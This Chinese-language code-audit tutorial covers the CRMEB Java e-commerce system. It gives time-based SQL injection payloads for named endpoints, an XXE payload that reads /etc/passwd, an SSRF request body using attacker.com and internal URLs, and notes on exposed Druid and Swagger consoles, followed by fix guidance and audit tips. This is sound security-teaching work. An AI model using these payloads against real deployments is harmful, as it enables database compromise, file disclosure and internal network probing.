JAVA代审之crmeb_java
字数 1912 2025-08-29 08:30:30
CRMeb Java版安全审计与漏洞分析教学文档
1. 项目概述
CRMeb商城Java版是一个开源电商系统,技术栈包括:
- 后端:SpringBoot + Mybatis Plus + Redis
- 前端:Uniapp + Vue + elementUI
- 其他:Maven + Swagger
- 功能模块:产品管理、用户管理、订单系统、营销系统(优惠券、积分)、权限管理等
2. 环境搭建
2.1 准备工作
- 下载源码:
https://gitee.com/ZhongBangKeJi/crmeb_java/archive/refs/tags/v1.3.4.zip - 安装依赖:Maven + Node.js
2.2 后端配置
- 修改数据库配置:
crmeb-admin/src/main/resources/application.yml - 创建数据库并导入SQL:
sql/Crmeb_1.3.4.sql - 启动后端:默认访问
http://127.0.0.1:8080/doc.html(Swagger文档)
2.3 前端配置
- 修改配置:
admin/.env.development - 安装依赖:
npm install - 启动前端:
npm run dev - 默认后台账号:admin/123456
3. 漏洞分析
3.1 SQL注入漏洞
漏洞点1:订单管理模块
- 文件位置:
src/main/resources/mapper/store/StoreOrderMapper.xml - 方法:
getRefundPrice - 漏洞参数:
keywords - 漏洞原因:直接使用
${}拼接SQL语句,未做参数过滤 - 调用链:
StoreOrderService.getWriteOffList()StoreOrderController.getWriteOffList()
- 利用方式:
SELECT * FROM table WHERE keywords = '1' AND (SELECT 1 FROM (SELECT SLEEP(5))x)-- '
漏洞点2:用户管理模块
- 文件位置:
src/main/resources/mapper/user/UserMapper.xml - 方法:
findAdminList - 漏洞参数:
groupId - 调用链:
UserService.getAdminList()UserController.getAdminList()
- 利用方式:
GET /api/user/list?groupId=1 AND (SELECT 1 FROM (SELECT SLEEP(5))x)
其他注入点
- 全局搜索
${可发现多处类似漏洞 - 重点关注MyBatis中直接使用
${}而非#{}的地方
3.2 XXE漏洞
漏洞点1:XML解析
- 文件位置:
SAXReader相关代码 - 漏洞原因:使用
SAXReader解析用户可控的XML输入 - 利用方式:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>
3.3 SSRF漏洞(理论存在)
漏洞点:图片合并功能
- 文件位置:
ImageMergeUtil相关代码 - 漏洞原因:直接使用用户提供的URL发起HTTP请求
- 限制条件:
- 需要提供至少2个图片URL
- 需要特定权限(可能配置问题导致未复现成功)
- 利用方式:
POST /api/merge/images { "list": [ {"url": "http://attacker.com"}, {"url": "http://internal.service"} ] }
3.4 XSS漏洞(理论存在)
- 参考GitHub issue:#12
- 未复现成功,可能已修复
3.5 组件漏洞
3.5.1 Druid未授权访问
- 直接访问
/druid路径 - 无需认证即可查看数据库监控信息
3.5.2 Swagger文档泄露
- 直接访问
/doc.html - 暴露所有API接口信息
4. 修复建议
4.1 SQL注入修复
- 将所有
${}替换为#{} - 添加参数过滤
- 使用MyBatis的预编译功能
4.2 XXE修复
- 禁用外部实体解析:
saxReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); saxReader.setFeature("http://xml.org/sax/features/external-general-entities", false); saxReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
4.3 SSRF修复
- 校验URL域名白名单
- 禁用非常用协议(如file://, gopher://等)
- 设置连接超时
4.4 组件安全
- 为Druid控制台添加认证
- 生产环境禁用Swagger文档
5. 审计技巧
-
MyBatis审计:
- 全局搜索
${ - 检查Mapper.xml中的动态SQL
- 全局搜索
-
XXE审计:
- 搜索
SAXReader,DocumentBuilder,XMLInputFactory等关键词
- 搜索
-
SSRF审计:
- 搜索
URLConnection,HttpClient,OkHttp等网络请求相关代码
- 搜索
-
组件审计:
- 检查
application.yml中的组件配置 - 检查依赖版本是否存在已知漏洞
- 检查
6. 参考资源
- 官方文档:https://doc.crmeb.com/java/crmeb_java/2211
- GitHub Issues:https://github.com/crmeb/crmeb_java/issues
- CVE数据库:可查询相关组件的已知漏洞